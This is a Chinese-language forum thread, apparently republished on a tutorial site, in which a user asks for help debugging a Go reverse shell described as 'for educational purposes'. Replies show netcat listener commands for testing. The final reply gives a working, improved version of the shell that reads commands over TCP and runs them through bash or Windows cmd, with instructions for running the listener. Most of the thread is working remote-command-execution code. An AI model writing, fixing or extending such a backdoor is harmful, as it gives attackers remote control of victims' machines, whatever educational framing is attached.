Golang网络安全测试方法与最佳实践
Golang网络安全测试方法与最佳实践 我正在构建一个反向bash shell,仅用于教育目的。我有以下代码,但遇到了错误。任何帮助都将不胜感激。我也可以通过私信交流。我遗漏了什么?
//this is my first reverse shell written in go lang
package main
import (
"bufio"
"fmt"
"log"
"net"
"os/exec"
)
func main() {
shell("127.0.0.1:4444")
}
func shell(host string) {
conn, err := net.Dial("tcp", host)
if err != nil {
log.Fatal(err)
}
for {
message, _ := bufio.NewReader(conn).ReadString('\n')
out, err := exec.Command("bash", "-c", message).CombinedOutput()
if err != nil {
fmt.Println(err)
}
conn.Write(out)
}
}
错误信息:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x1067c00]
goroutine 1 [running]:
bufio.(*Reader).fill(0xc000050ed0)
/usr/local/go/src/bufio/bufio.go:100 +0xe0
bufio.(*Reader).ReadSlice(0xc000050ed0, 0x129650a, 0x1154601, 0x101000000000001, 0x0, 0x1000, 0xc0000dc000)
/usr/local/go/src/bufio/bufio.go:356 +0x3d
bufio.(*Reader).ReadBytes(0xc000050ed0, 0x100a, 0x1000, 0xc0000dc000, 0x0, 0x113046f, 0xe)
/usr/local/go/src/bufio/bufio.go:434 +0x70
bufio.(*Reader).ReadString(...)
/usr/local/go/src/bufio/bufio.go:474
main.main()
/Path/to/main.go:15 +0x1fb
exit status 2
更多关于Golang网络安全测试方法与最佳实践的实战教程也可以访问 https://www.itying.com/category-94-b0.html
是的,这个方法可行。
我无法重现您的问题。
有趣,谢谢。在代码之外如何处理测试环境变量?我在同一台机器和测试机器上运行这段代码……也许这就是原因?感谢您的时间!
lutzhorn:
netcat -l -k localhost 4444
哦,你的意思是这段代码在你那里能正常工作?
在端口4444上监听的是netcat应用程序。以下是它的功能说明链接:https://en.wikipedia.org/wiki/Netcat
你这是什么意思?
ipatchcables:
在代码之外测试环境变量
这个简短的程序中你使用了任何环境变量吗?是如何使用的?
好的。既然你的问题已经完整了,让我尝试重现你的问题。
在终端1中:
$ netcat -l -k localhost 4444
在终端2中:
$ go run main.go # 你的代码
回到终端1中:
date
Fr 26. Apr 16:01:58 CEST 2019
运行得很好。
您的代码在反向shell实现中存在几个关键问题,导致出现空指针解引用错误。以下是修复后的代码:
package main
import (
"bufio"
"fmt"
"log"
"net"
"os/exec"
"runtime"
)
func main() {
shell("127.0.0.1:4444")
}
func shell(host string) {
conn, err := net.Dial("tcp", host)
if err != nil {
log.Fatal(err)
}
defer conn.Close()
reader := bufio.NewReader(conn)
for {
message, err := reader.ReadString('\n')
if err != nil {
log.Printf("读取错误: %v", err)
return
}
// 根据操作系统选择合适的shell
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd", "/C", message)
} else {
cmd = exec.Command("bash", "-c", message)
}
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Fprintf(conn, "命令执行错误: %v\n", err)
continue
}
_, err = conn.Write(out)
if err != nil {
log.Printf("写入错误: %v", err)
return
}
}
}
主要修复点:
-
重用reader对象:原代码每次循环都创建新的
bufio.Reader,这会导致内部缓冲区不一致。现在在循环外创建并重用同一个reader。 -
错误处理:添加了完整的错误检查,包括读取、命令执行和写入操作的错误处理。
-
连接管理:使用
defer conn.Close()确保连接正确关闭。 -
跨平台兼容:根据操作系统自动选择正确的shell命令。
-
输出格式化:使用
fmt.Fprintf向连接写入格式化的错误信息。
要测试这个反向shell,您需要在目标端口运行监听器:
# 在监听端运行
nc -lvnp 4444
然后执行您的Go程序。连接建立后,您可以通过监听器发送命令,程序会执行并返回结果。
注意:此代码仅用于教育目的,在实际生产环境中使用需要额外的安全措施和错误处理。


